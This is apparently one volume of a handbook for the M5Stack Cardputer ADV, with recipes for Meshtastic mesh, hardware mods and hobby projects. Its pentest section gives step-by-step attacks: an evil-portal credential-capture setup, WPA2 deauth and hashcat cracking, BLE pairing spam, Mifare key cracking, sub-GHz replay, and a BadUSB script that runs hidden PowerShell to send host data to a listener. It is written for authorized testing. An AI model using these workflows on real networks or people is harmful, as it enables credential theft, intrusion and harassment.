Comments ▾
Tables ▾

M5Stack Cardputer ADV · Volume 9

M5Stack Cardputer ADV Volume 9 — Use Cases and Recipes

Pentest workflows, off-grid mesh, hardware mods, audio + signal, retro, fun — concrete end-to-end recipes


9.1 About this volume

Vol 9 collects end-to-end recipes — concrete workflows from “device in hand” to “engagement outcome”. Each recipe names the firmware, the menu path, the SD layout requirements, the time-budget expectation, and the post-engagement hand-off.

Recipes are grouped by primary use case: pentest (§ 2), mesh / off-grid (§ 3), hardware mods (§ 4), audio + signal (§ 5), retro / fun (§ 6). Cross-references where appropriate.

Legal posture reminder: every pentest recipe assumes the operator has written authorization for the target network / device. Full posture in Vol 11 § 7.


9.2 Pentest / red-team recipes

9.2.1 Evil Portal credential capture (Bruce)

Goal: capture credentials from users who join your open Wi-Fi AP and submit a captive-portal form.

Hardware: Cardputer ADV + Bruce firmware on ota_0. SD card with Bruce portal directory.

SD layout (Bruce convention):

/bruce/portals/
├── default/                  ← Bruce default templates
│   ├── google.html
│   ├── apple.html
│   └── facebook.html
├── my_custom/                ← Your custom template
│   ├── index.html
│   ├── style.css
│   └── script.js
└── captures.csv              ← Where credentials append

Workflow:

  1. Plan engagement: target SSID (e.g., “Verizon-Guest” or “Starbucks-WiFi” for plausibility), authorization scope, time-box.
  2. Configure Bruce: WiFi → Evil Portal → Templates → pick or upload custom HTML. Settings → SSID name → “Verizon-Guest”.
  3. Enable MAC spoofing to avoid Espressif OUI fingerprint: Bruce → WiFi → Settings → Spoof MAC → On. Bruce picks a random non-Espressif OUI.
  4. Start Evil Portal: WiFi → Evil Portal → Start. Bruce broadcasts the open SSID, runs SoftAP + DHCP + DNS-spoof:53 + HTTP:80.
  5. Wait: iOS / Android devices detecting the open AP pop their captive-portal sheets. Users see your form, type credentials, submit.
  6. Collect: Bruce appends each submission to /bruce/portals/captures.csv with timestamp + SSID + form fields + user-agent + client MAC.
  7. Stop after time-box: WiFi → Evil Portal → Stop.
  8. Extract: pull SD card, copy captures.csv off, hash + encrypt source per Vol 11 § 11 chain-of-custody.

Custom HTML form structure:

<form action="/login" method="POST">
    <input name="email" type="email" placeholder="Email" required>
    <input name="password" type="password" placeholder="Password" required>
    <input type="hidden" name="ua" value="campaign_2026_05_13">
    <button type="submit">Sign in</button>
</form>

Bruce captures all named fields. The hidden ua tag is useful for tracking which campaign / template a capture came from.

Detection footprint: every Espressif Wi-Fi device has a MAC in Espressif’s OUI ranges (F4:12:FA, EC:DA:3B, 34:85:18, etc.). Rogue-AP IDS scanners look for this. Spoof MAC mitigates but doesn’t eliminate.

Cross-ref: platform-neutral Evil Portal coverage in ../../../ESP32 Marauder Firmware/03-outputs/ESP32_Marauder_Firmware_Complete.html Vol 5 § 5.

9.2.2 EAPOL handshake → hashcat (Marauder)

Goal: capture a WPA2 4-way handshake; crack offline with hashcat.

Hardware: Cardputer ADV with Marauder Cardputer port on ota_0. SD card.

Marauder is preferred over Bruce for PCAP capture — cleaner export, fewer dropped frames.

Workflow:

  1. Identify target: Marauder → WiFi → Sniffers → AP Scan. Note BSSID + channel of target network.
  2. Configure capture: Marauder → WiFi → Sniffers → WiFi Pkt Capture. Set:
    • Filter: EAPOL
    • Channel: target’s channel (static, not hopping)
  3. Start capture: PCAP writes to SD at /captures/wifi_NN.pcap.
  4. Force handshake: either (a) wait for organic reconnect (might take hours), or (b) deauth target STA to force re-handshake.
    • For (b): Marauder → WiFi → Attacks → Deauth → target client MAC. Run for ~10 seconds, then stop. Client reconnects → handshake captured.
  5. Verify capture: Marauder shows handshake count on screen. ≥1 valid handshake = ready.
  6. Stop capture, pull SD, transfer wifi_NN.pcap to host.
  7. Convert to hashcat format:
    hcxpcapngtool -o handshake.hc22000 wifi_NN.pcap
  8. Crack:
    hashcat -m 22000 handshake.hc22000 /path/to/rockyou.txt

Time budget: ~5 minutes for capture; minutes-to-hours for crack depending on password complexity + wordlist.

Cross-ref: Marauder Firmware Vol 9 § 4 for the host-side detail.

9.2.3 Sour Apple BLE swarm (Bruce)

Goal: trigger BLE pairing-prompt floods on nearby iOS devices.

Hardware: Cardputer ADV + Bruce on ota_0.

Workflow:

  1. Authorization check: this recipe must be run in authorized engagement scope only. Public-space firing is criminal harassment under interference statutes (Vol 11 § 7).
  2. Start attack: Bruce → BLE → BLE Spam → Sour Apple.
  3. Bruce crafts Apple Continuity advertising packets (Company ID 0x004C, subtype 0x07 for AirPods Pro, 0x09 for AppleTV, etc.) and broadcasts at ~10/sec on BLE advertising channels 37/38/39.
  4. iOS devices within ~10 m line-of-sight (PCB antenna) trigger pairing prompts: “Connect to AirPods Pro?” / “Connect to Apple TV?” / “Set up iCloud Handoff?”
  5. Sustained spam = unusable Bluetooth UI on target devices.
  6. Stop after time-boxed engagement: BLE → BLE Spam → Stop.

iOS lockup edge case: documented reports of iPhones force-rebooting under sustained Sour Apple. Avoid in public spaces; even authorized engagements should time-box to 30-60 seconds maximum.

Range: ~10 m LoS with the Cardputer ADV’s PCB antenna. Through walls: ~3-5 m.

Cross-ref: Marauder Firmware Vol 6 § 5.2 for the mainline-vs-Ghost-ESP context. (Bruce ships Sour Apple; Marauder mainline does not.)

9.2.4 Mifare Classic key cracking on the go

Goal: read a Mifare Classic 1K badge, attempt default-key + dictionary crack, save dump for offline cracking.

Hardware: Cardputer ADV + RFID2 Unit (WS1850S, M5Stack ~$12) OR PN532 Grove I²C ($4 generic + community fork). Bruce firmware.

Workflow:

  1. Plug RFID2 Unit into Grove port. Bruce auto-detects.
  2. Read UID first: Bruce → RFID → Read → tap badge to device. Bruce displays UID + ATQA + SAK.
  3. Try default keys: Bruce → RFID → Mifare → Default Key Attack. Bruce tries ~1500 known-key dictionary against each sector. >80% crack rate on factory-default-keyed badges (cheap office / hotel / gym).
  4. If default keys fail (rotated-key badges): Bruce → RFID → Mifare → Capture Nonces. Bruce reads the AUTH responses without decrypting. Saves to /rfid/captures/uid_XXXX.nonces on SD.
  5. Post-process on laptop:
    # Use mfoc-hardnested or mfcuk against the nonce capture
    mfoc -f nonces.json -o output.dump

Time budget: ~30 seconds for default-key crack; nonce capture is fast (~10 seconds); offline crack varies.

Range: contact / ~1 cm — RFID2 needs the badge basically touching the reader.

9.2.5 Sub-GHz fixed-code replay (CC1101)

Goal: replay a 433.92 MHz key fob to open a garage door, weather station, etc.

Hardware: Cardputer ADV + CC1101 module (CC1101 Grove Unit OR CC1101 wired to EXT bus per Vol 4 § 6.2). Bruce firmware.

Workflow:

  1. Identify target: garage door opener, weather station remote, doorbell — anything broadcasting on 300-928 MHz with fixed code (not rolling-code).
  2. Capture: Bruce → SubGHz → Read RAW. Hold target remote near CC1101 antenna, press the button. Bruce auto-detects modulation (typically AM 270 / AM 650 / FM 238).
  3. Save: capture stored to /subghz/raw_NN.sub (Flipper-compatible format).
  4. Replay: Bruce → SubGHz → Replay → pick file → Send. Bruce transmits the captured signal at the same frequency / modulation.
  5. Verify: target device should respond as if the original remote was pressed.

Range:

  • With CC1101 included whip: ~5 m
  • With 17.3 cm 1/4-wave antenna (DIY $1): ~30 m
  • With high-gain Yagi: longer (but legality issues for TX power)

Rolling-code remotes (KeeLoq, AES Toyota fobs, Honda, modern garage openers) cannot be replayed naively — they reject out-of-window codes. RollJam-class attacks technically possible but violate FCC §333 and equivalents.

Detection: most fixed-code targets have no detection. Sustained jamming would be detectable but replay-once is silent on the wire.

9.2.6 BadUSB recon-and-bail (Windows lab box)

Goal: drop a Cardputer ADV into a target Windows machine’s USB port, exfiltrate basic recon data over the network, withdraw.

Hardware: Cardputer ADV with M5Launcher on factory (BadUSB built-in). Or BadCard for dedicated BadUSB.

SD layout (M5Launcher convention):

/BadUSB/
├── recon.txt              ← DuckyScript payload
└── elevate.txt            ← Backup payload for UAC-bypass etc.

Sample recon.txt payload (Windows 10/11 recon):

DELAY 1500
GUI r                              REM Open Run dialog
DELAY 800
STRING powershell -w h -c "$d=@{h=$env:COMPUTERNAME;u=$env:USERNAME;dom=$env:USERDOMAIN;ip=(Test-Connection $env:COMPUTERNAME -Count 1).IPv4Address.IPAddressToString;loc=(Get-Location).Path}; iwr 'http://10.0.0.42:8080/r' -Method POST -Body ($d | ConvertTo-Json -Compress)"
ENTER

The -w h flag makes PowerShell windowless (hidden).

Host-side listener:

while true; do nc -lp 8080 -q 1; done

(Use a real exfiltration server in production engagements; netcat is the lab-test version.)

Workflow:

  1. Authorization confirmed: written, signed, target IP/range/scope specified.
  2. Configure Cardputer: load recon.txt on SD. Boot M5Launcher.
  3. Approach target machine, plug Cardputer ADV into USB port (lab machine, unlocked screen).
  4. M5Launcher boots, navigate to: Files → BadUSB → recon.txt → Run.
  5. ~3 seconds: PowerShell window flashes hidden, payload executes, recon data POSTs to your listener at 10.0.0.42:8080.
  6. Withdraw immediately after the LED indicates payload completed.
  7. Listener captures: hostname, username, IPv4, domain, working directory.

Time on device: <3 seconds. Faster than the user can react to “what’s that thing in my USB port?”

Operational caveats:

  • macOS: shows “Keyboard Setup Assistant” dialog — Cardputer’s HID injection is more obvious.
  • Locked screen: no payload runs until user unlocks.
  • Modern Windows: Microsoft Defender may flag the encoded PowerShell. Test in advance.

9.2.7 Working with the Chameleon Ultra (BLE control surface)

The Cardputer ADV has no built-in NFC or RFID hardware. The ESP32-S3 SoC does not integrate an NFC reader frontend; its radio capability is Wi-Fi and Bluetooth Low Energy. The Cardputer ADV cannot read a card, cannot capture a dump, and cannot execute a Crypto1 attack. What it can do — which makes it relevant in the context of the Chameleon Ultra — is implement the Chameleon Ultra’s BLE GATT client protocol as an Arduino or PlatformIO sketch running on the ESP32-S3, providing a physical keyboard-and-screen control surface for the Chameleon Ultra in environments where a phone cannot be used.

The specific operational context that makes this integration valuable is the environment that restricts or prohibits personal mobile devices. Government facilities operating under device-control policies, security-sensitive engineering floors, court facilities, SCIF-adjacent workspaces, and certain corporate campuses all restrict the possession or use of smartphones. The ChameleonUltraGUI Android or iOS application cannot be operated in these environments without violating the site policy. A purpose-built BLE controller running on an ESP32-S3 handheld — which presents as a compact keyboard computer or specialised organiser rather than a consumer smartphone — satisfies the policy constraint while retaining the ability to switch slots and monitor Chameleon Ultra state mid-engagement. The Cardputer ADV is the lightest and least conspicuous device in this toolkit capable of implementing the BLE GATT client role for the Chameleon Ultra.

A Cardputer ADV sketch implementing the ChameleonUltra GATT client connects over BLE and can issue slot-switch commands, toggle card emulation on and off, query the current slot configuration, retrieve slot names and card types, and read device status — the complete operational surface the Chameleon Ultra’s GATT service exposes [VERIFY current GATT service spec against firmware docs in RfidResearchGroup/ChameleonUltra at time of device acquisition]. The minimal viable field UI for such a sketch fits comfortably on the Cardputer ADV’s 240×135 IPS display: a scrollable slot picker listing 8 HF and 8 LF entries with their configured names and card types, an emulate/stop toggle, and a status line showing the active slot’s UID and card type. The physical QWERTY keyboard serves slot navigation and quick confirmation inputs. For a field session where the operator pre-loaded all required slots before entering the target environment — the correct staging discipline regardless of which control surface is in use — this sketch provides everything needed for the active engagement phase without a phone in hand.

The correct operational model for this workflow divides into a staging phase and a field phase. Staging happens outside the restricted environment, where the operator uses ChameleonUltraGUI on a phone or laptop to load all sixteen slots, configure slot names and emulation profiles, and verify the Chameleon Ultra’s slot inventory. The Cardputer ADV sketch is then paired over BLE; the operator confirms the slot listing appears correctly on the Cardputer’s display before entering the facility. In the field phase, the phone stays behind — only the Cardputer ADV and the Chameleon Ultra enter. Slot switching happens via the Cardputer keyboard; the display provides the feedback loop. The BLE link between the Cardputer ADV and the Chameleon Ultra is a narrow, purpose-built channel carrying only slot-management commands and status updates, not bulk card dump data, and its practical value scales directly with how often the operator’s engagements involve device-restricted environments. For full integration details from the Chameleon Ultra’s perspective, including GATT service documentation, the no-phone-dependency staging model, and the broader works-with matrix, see Chameleon Ultra.


9.3 Mesh / off-grid recipes

9.3.1 Range optimization for Meshtastic

Default Meshtastic preset is LongFast (SF11 / BW250 / CR4/5, ~510 ms ToA). For non-default scenarios:

Table 1 — Default Meshtastic preset is LongFast (SF11 / BW250 / CR4/5, ~510 ms ToA). For non-default scenarios

PresetSF / BW / CRToA (50-byte packet)Realistic rangeUse case
VeryLongSlowSF12 / BW125 / CR4/8~3.5 s15-25 km LoSFixed long-range relays in remote terrain
LongSlowSF12 / BW250 / CR4/5~1.8 s10-20 km LoSLong-range with moderate channel use
LongFast (default)SF11 / BW250 / CR4/5~510 ms5-10 km mixedGeneral mesh chat (most users)
MediumSlowSF10 / BW250 / CR4/5~290 ms2-5 km urbanDense mesh, more frequent traffic
MediumFastSF9 / BW250 / CR4/5~155 ms1-3 kmHigh-density mesh, urban
ShortSlowSF8 / BW250 / CR4/5~95 ms500 m - 1.5 kmHigh-traffic mesh
ShortFastSF7 / BW250 / CR4/5~50 ms200-500 m urban indoorVery high traffic, indoor
ShortTurboSF7 / BW500 / CR4/5~25 ms200 m heavy traffic cityMaximum traffic capacity

Rule of thumb: +1 SF doubles range + ToA; +1 BW step halves both. Higher SF wins range; lower SF wins channel capacity.

EU duty-cycle math: at 1% duty in EU 868 g1, VeryLongSlow’s 3.5 s ToA limits you to ~10 packets/hour. LongFast at 510 ms gives ~70 packets/hour. ShortFast at 50 ms gives ~700/hour. Plan accordingly for EU operation.

Region settings are required — Meshtastic Settings → Region → US / EU868 / JP / CN / IN / RU etc. Wrong region = non-compliant TX power + potentially non-compliant duty cycle.

9.3.2 Wardriving with WiGLE export

Goal: walk a route, log every Wi-Fi AP + position, upload to WiGLE for the global heatmap.

Hardware: Cardputer ADV + Cap LoRa-1262 (for GPS). Bruce firmware.

Workflow:

  1. Charge battery, mount Cap LoRa-1262, load fresh microSD.
  2. Get GPS fix: Bruce → GPS → Status → wait for fix (~23 sec cold). Don’t start wardriving until fix is locked.
  3. Start wardriving: Bruce → WiFi → Wardriving → Start.
  4. Walk the route at normal pace (1.4 m/s typical walking speed). 5 km city loop → 3000-5000 unique SSIDs.
  5. Bruce logs each beacon to SD in WiGLE-compatible CSV format:
WigleWifi-1.6,appRelease=Bruce_v1.18.0,model=cardputer-adv,release=1.0.0,device=cardputer-adv
MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type
A4:5E:60:11:22:33,HomeNetwork,[WPA2-PSK-CCMP][ESS],2026-05-13 14:32:17,6,-72,37.123456,-122.234567,15.2,3.0,WIFI
...
  1. Stop wardriving: Bruce → WiFi → Wardriving → Stop.
  2. Upload to WiGLE: pull SD, transfer /wardriving/wifi_NN.csv to host. Upload at https://wigle.net/upload. Appears on global heatmap within ~24h.

Battery life: ~6 hours continuous wardriving on stock 1750 mAh (Wi-Fi RX + GPS continuous).

Cross-ref: Marauder Firmware Vol 9 § 5 for the host-side WiGLE analysis path.

9.3.3 Solar-harvested fixed Meshtastic relay

Goal: build a permanent outdoor Meshtastic relay node that runs on solar + battery indefinitely.

BOM:

Table 2 — BOM

ItemCostSource
Cardputer ADV (base unit)~$50M5Stack
Cap LoRa-1262~$25M5Stack
5V 1W solar panel~$5AliExpress
CN3791 MPPT solar charger module~$3AliExpress
18650 holder + Samsung 30Q 3000 mAh cell~$8RC hobby store
3D-printed weather case OR Otterbox-class box$5-30Thingiverse / Otterbox
6 dBi colinear 915 MHz antenna~$15AliExpress / Amazon
LMR-100 coax for remote mount (3 m)~$10Various
RP-SMA female-to-female bulkhead~$3Various
Conformal coating spray~$15Electronics supply

Total: ~$140-180 per relay.

Firmware: Meshtastic with Power Saving enabled (sleep between TX/RX windows). Configure as repeater-only role.

Wiring:

5V solar panel ───── CN3791 ───── 18650 ───── Cardputer ADV USB-C

                       ├─ MPPT controller protects 18650 from over/under-charge

                   Charges only when solar voltage > battery voltage + margin

Operational notes:

  • Conformal coat the Cardputer ADV PCB and the Cap LoRa-1262 PCB before sealing in case. Acrylic conformal coat ($15 spray) is enough for moisture protection.
  • 6 dBi colinear antenna mounted high (rooftop, tower) gives substantially better range than the included 3 dBi whip.
  • Use LMR-100 coax for short runs (< 5 m) between Cap LoRa-1262 antenna port and the external antenna. Beyond 5 m, use LMR-200 to reduce loss.
  • Power profile: ~25 mA average draw with Power Saving + repeater mode. 1W solar covers ~4 hours / day of effective harvest. 3000 mAh 18650 = 120 hours capacity = 5 days reserve.

Deployment: a Meshtastic mesh of solar-harvested relays at 5-10 km spacing covers a region indefinitely with no infrastructure. Used for: emergency comms, hiking groups, off-grid communities.

9.3.4 Meshtastic ↔ APRS-IS bridge

Goal: licensed amateur radio operators — bridge Meshtastic mesh traffic to the global APRS-IS network so positions appear on aprs.fi.

Prerequisites:

  • Licensed amateur (Technician+ in US; equivalent worldwide).
  • Cardputer ADV running Meshtastic at home with Wi-Fi.
  • A local MQTT broker (mosquitto on a Pi or laptop).
  • Python on a host.

Workflow:

  1. Configure Meshtastic MQTT: Meshtastic Settings → Channels → MQTT → Uplink/Downlink: ON. Set MQTT broker to local mosquitto address (e.g., mqtt://10.0.0.5:1883).
  2. Verify MQTT traffic: mosquitto_sub -h localhost -t 'msh/#' -v should show Meshtastic packets.
  3. Run the bridge script:
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
import aprs
import json
import datetime

APRS_CALL = "N0CALL-9"   # Your callsign + SSID
APRS_PASS = 12345        # Your APRS-IS passcode

aprs_is = aprs.IS(APRS_CALL, passwd=str(APRS_PASS), host="rotate.aprs2.net", port=14580)
aprs_is.connect()

def on_message(client, userdata, msg):
    try:
        payload = json.loads(msg.payload)
        if payload.get("type") == "position":
            lat = payload["latitude"]
            lng = payload["longitude"]
            frame = aprs.PositionFrame(
                source=APRS_CALL,
                latitude=lat, longitude=lng,
                symbol="-",   # House symbol
                comment=f"Meshtastic node {payload.get('node_id')}"
            )
            aprs_is.send(frame)
            print(f"Bridged position: {lat},{lng}")
    except Exception as e:
        print(f"Parse error: {e}")

mqtt_client = mqtt.Client()
mqtt_client.on_message = on_message
mqtt_client.connect("localhost", 1883)
mqtt_client.subscribe("msh/#")
mqtt_client.loop_forever()
  1. Run continuously: nohup python3 bridge.py > bridge.log 2>&1 &
  2. Verify: positions appear on https://aprs.fi within ~minutes.

Use case: Meshtastic users’ positions are visible to the broader ham community. Useful for SAR / public-service nets / event tracking.

9.3.5 Simple LoRa walkie-talkie (CardputerLoRaChat)

Goal: peer-to-peer LoRa chat between two Cardputers without Meshtastic overhead.

Hardware: 2× Cardputer ADV + 2× Cap LoRa-1262. CardputerLoRaChat firmware on both.

Workflow:

  1. Flash CardputerLoRaChat on both devices (M5Launcher → Catalog → CardputerLoRaChat → Flash).
  2. Configure same channel on both: Settings → Frequency 915 MHz (US) or 869.525 MHz (EU g3), SF9, BW125, CR4/5, sync word 0x12.
  3. Type and Enter on one device → message arrives on the other side in ~150 ms.

That’s it. No mesh, no encryption, no routing, no protocol stack. Just radio + text. Like an old CB radio for text.

Range: same as Meshtastic at the same SF/BW — ~3-8 km LoS at SF9 with stock antennas.

Why use it instead of Meshtastic: smaller learning curve, smaller binary, easier debugging, easier to extend with custom code.

Encryption: not built in. For sensitive chat, layer a software pre-shared XOR or AES.


9.4 Hardware modification recipes

9.4.1 Battery upgrade 1750 → 3000+ mAh

Goal: extend battery life from ~6 hours (Meshtastic + GPS) to ~12+ hours by upgrading the LiPo.

BOM:

  • 753450 LiPo cell (~1500 mAh, 7.5×34×50 mm) OR 503450 cell (~1300 mAh, 5×34×50 mm) — pick one that fits the cavity behind the screen
  • 3M VHB double-sided tape (1 cm strip)
  • JST-PH 2-pin pigtail (if cell doesn’t have one)
  • Small soldering iron + heat-shrink tubing

Process:

  1. Discharge to 50% before disassembly (LiPo safety).
  2. Remove 4 bottom screws + back cover (carefully — magnetic snap retainers + light adhesive).
  3. Disconnect existing JST-PH 2-pin LiPo (red = +, black = −).
  4. Source replacement cell: 753450 fits cleanly if you give up the LEGO-Technic base (the larger cell occupies that space). 503450 leaves room for the LEGO base.
  5. OR parallel-stack original + new cell for ~3000 mAh total. Critical: charge each cell independently to within 0.05 V of the other before paralleling. Mismatched voltages = fire.
  6. Solder JST-PH connector to new cell if needed. Heat-shrink the joints.
  7. 3M VHB tape to secure cell to enclosure (don’t glue — heat from charging needs to dissipate).
  8. Reconnect to Cardputer ADV’s JST-PH header.
  9. Test charge before fully reassembling. Monitor first charge cycle from outside the case.
  10. Reassemble.

LiPo safety (Vol 11 § 8):

  • Never short the cell terminals during work.
  • Never charge a damaged or punctured cell.
  • Charge each cell independently before paralleling.
  • Mismatched voltages at parallel-connect = thermal runaway = house fire. No theory.
  • If anything feels too warm: discontinue.

Battery life after upgrade:

  • Stock 1750 mAh: 6 hours Meshtastic + GPS
  • Upgraded 3000 mAh: ~10-12 hours
  • Upgraded with parallel-stack 3000 mAh: ~12 hours but mass + thermal load increases

9.4.2 External antenna upgrade (LoRa Cap)

Cross-ref Vol 5 § 8. Brief recipe:

For handheld portable:

  • SignalPlus 6 dBi 915 MHz dipole (~$25, cargo-pocket-foldable). 2× range vs stock.
  • Linx Technologies RP-SMA whip variants (~$10-15). Various lengths trade portability for gain.

For fixed deployments:

  • Comet GP-3 / GP-9 omni (~$80-120). 6-8 dBi, mounted high. 3× range vs stock.
  • L-Com 14 dBi 5-element Yagi (~$80). Point-to-point directional. Legal posture per Vol 11 § 3 — Yagi is fine for RX-only; for TX, check EIRP against region limits.

EIRP discipline: always recalculate after antenna change. Vol 11 § 4 has the formula.

9.4.3 Thermal camera dock (MLX90640)

Goal: turn the Cardputer ADV into a pocket thermal camera.

Hardware: Cardputer ADV + Unit Thermal MLX90640 ($50) via Grove I²C.

Firmware: cardputer-thermal (community sketch, <100 lines) or roll your own with the MLX90640 Arduino library.

Workflow:

  1. Plug Unit Thermal into Grove port.
  2. Flash cardputer-thermal sketch (PlatformIO or Arduino IDE).
  3. Boot. Cardputer ADV reads 32×24 IR thermal frame from MLX90640 at 16 fps via I²C.
  4. Renders to the 240×135 screen at 8× upscaling (frame fills most of the screen) with viridis colormap.
  5. Hot spots show as yellow/red; cold spots as blue/purple.

Use cases:

  • Find bad caps on a PCB (hot vs cool)
  • Leak hunting on radiators / pipes
  • Check dog in bed
  • Identify warm electrical conductors
  • Check power-supply heatsink loading

Limitations:

  • 32×24 resolution is coarse — not for precision work
  • 16 fps refresh limits fast-motion tracking
  • ±2°C accuracy (consumer thermal — not calibration-grade)
  • No video recording (yet — could add SD-write at 4 fps)

For more capable thermal imaging: dedicated thermal cameras (FLIR ONE Pro, $400+) with much higher resolution and better calibration.

9.4.4 5 GHz Wi-Fi via M5MonsterC5

Cross-ref Vol 4 § 5. Brief recipe:

  1. Plug M5MonsterC5 into Grove port.
  2. Flash Marauder with M5MonsterC5 support enabled.
  3. Marauder → Settings → 5 GHz Coprocessor → MonsterC5 (UART 921600).
  4. Marauder’s main Wi-Fi scan now includes 5 GHz networks alongside 2.4 GHz.
  5. 5 GHz packet injection works via the C5 coprocessor.

The canonical path to 5 GHz capability on Cardputer ADV. ~$25-35 add-on, doubles the Wi-Fi capability surface.

9.4.5 PN532 NFC reader via Grove

Goal: NFC read/write without buying the M5Stack RFID2 Unit (~$12 saves to ~$4).

Hardware: generic PN532 module (AliExpress / Amazon, $3-5) + Grove HY2.0 cable cut + 4 jumper wires.

Wiring:

PN532 module pin    Grove cable wire    GPIO
─────────────────  ─────────────────  ─────
VCC (5V or 3.3V)    Red                G+5V
GND                 Black              GND
SDA                 Yellow             G2 (when re-tasked as I²C)
SCL                 White              G1

PN532 DIP switches: set to I²C mode (typically Switch 0:ON, Switch 1:OFF — verify against your module’s silkscreen).

Firmware: RFID-PN532-i2c-CARDPUTER (Jojorel community fork) OR write your own with Adafruit_PN532 library and Wire1.begin(2, 1) reroute.

Capabilities:

  • Read Mifare Classic UID + sector dump (with key)
  • Read NTAG / NTAG NFC tags
  • Read FeliCa cards (Japanese transit)
  • Write to writable Mifare / NTAG tags

Less full-featured than Bruce + RFID2 Unit (no Mifare brute, no Bruce UI integration) but cheaper for casual use.


9.5 Audio + signal recipes

9.5.1 ESP-NOW walkie-talkie

Goal: two-way audio walkie-talkie between two Cardputer ADVs without router / cell tower / LoRa.

Mechanism: ESP-NOW broadcasts raw 802.11 frames at ~250 kbps directly between devices, no AP required. Combined with the ES8311 codec, this gives real walkie-talkie capability.

Hardware: 2× Cardputer ADV. esp-now-talkie firmware (community).

Workflow:

  1. Flash esp-now-talkie on both devices.
  2. Configure same channel + same broadcast MAC on both.
  3. Hold space bar: codec captures audio at 8 kHz mono μ-law. Buffered.
  4. Release space bar: buffer is broadcast via ESP-NOW. Other side receives within ~50 ms.
  5. Receiving side decodes and plays to 3.5 mm jack or on-board speaker.

Range: ~50 m indoor / ~150 m LoS outdoor (Wi-Fi range).

Audio quality: 8 kHz / 16-bit μ-law mono — sounds like a 1990s walkie-talkie. Voice intelligible; not for music.

Battery life: ~3-4 hours continuous (Wi-Fi + audio codec).

9.5.2 Wake-word detection with esp-skainet

Goal: voice-activate features on the Cardputer ADV.

Hardware: Cardputer ADV (built-in MEMS mic). esp-skainet Espressif library.

Workflow:

  1. Espressif’s esp-skainet library includes Multinet5 (a wake-word + command-recognition model) with “Hey Jarvis” + ~40 commands pre-trained. ~800 KB model size.
  2. Integrate into NEMO or a custom firmware: the LX7 hits wake-word check at <5% CPU load.
  3. When wake word fires, trigger a feature: e.g., “Jarvis, scan” → runs Wi-Fi scan.

Use cases:

  • Hands-free attack triggering (the parlor-trick variant)
  • Voice notes capture
  • Quick utilities (“clock” → display time)

Limitations: Multinet5’s vocabulary is fixed (~40 English commands). Custom wake words require ESP-Skainet training pipeline.

9.5.3 Slow-scan image transmit over LoRa

Goal: send a low-resolution image over LoRa between two Cardputers.

Workflow:

  1. Encode 64×48 image at 4-bit grayscale → ~1.5 KB.
  2. Wrap in custom framing (header + length + chunks + checksum).
  3. Send 16-byte chunks via SX1262 at SF7 / BW500 / CR4/5 (highest data rate for short range).
  4. Each chunk takes ~20 ms ToA → ~96 chunks × 20 ms = ~2 minutes per image at SF7.
  5. Receiver reassembles to screen.

Use case: party demo. Honest disclosure: terrible protocol design — EU 1% duty-cycle limits make continuous use borderline non-compliant. For real image transmit, use Wi-Fi.

For SF12 long-range: ~30 minutes per image. Not practical.


9.6 Retro / fun / QoL recipes

Doom tuned for max fps:

  • Default m5cardputer_doom runs ~25 fps on E1M1
  • Optimizations:
    1. Drop screen scale 1.0 → 0.85 (240×135 can’t show full detail anyway). Recompile.
    2. Disable floor/ceiling textures in r_things.c (set flat colors single value). Recompile.
  • Result: ~35 fps on E1M1
  • Save game state g_doomstate.bin on SD; resume from save slot

Game Boy multi-cart launcher:

  • Walnut-CGB plays single ROM at boot. To support multiple ROMs:
    1. Drop multiple .gb / .gbc files to /roms/gb/ on SD.
    2. Modify src/main.cpp to add file picker before ROM load.
    3. ~50 lines of M5GFX list-render code.

GPS-disciplined NTP server for offline networks:

  • AT6668 GNSS provides UTC accurate to ~100 ms.
  • Combine with Bruce’s SNTP server module + GPS time source.
  • Bind UDP 123, serve local subnet.
  • Useful for: air-gapped lab time sync, ham radio digital-mode time discipline.

Pomodoro + IMU shake-to-snooze:

  • 25-min work / 5-min break repeat.
  • BMI270 “any motion” interrupt fires on a desk-shake → maps to 60-second snooze.
  • ~80 lines of MicroHydra code.
  • Speaker (or 3.5 mm jack output) gives a satisfying chime at timer end.

POV LED art:

  • Sample BMI270 accel at 200 Hz, integrate to position estimate.
  • Modulate RGB LED at 1 kHz with bit-mapped message.
  • Wave Cardputer in air; 1/2 s phone camera exposure in a dark room = glowing message visible in the air.
  • Cute, useless, satisfying.

Bedside clock:

  • Cardputer ADV plugged in 24/7, ESPHome firmware showing time + weather + Home Assistant status.
  • 3.5 mm jack to bedside speaker for morning alarm.
  • IMU detects “rolled off the desk” event → cancel alarm.

9.7 Resources

Tools

Maps + uploads

Firmware specifics

Community

  • r/CardPuter, Cardputer Discord, M5Stack community forum

Cross-references


This is Volume 9 of a twelve-volume series. Next: Vol 10 covers custom firmware development — adding payload modules, writing MicroHydra apps, modifying M5Launcher, the worked-example channel survey, and fleet-flash patterns.

Comments (0)

  1. Loading…

Comments are held for moderation — nothing appears until approved.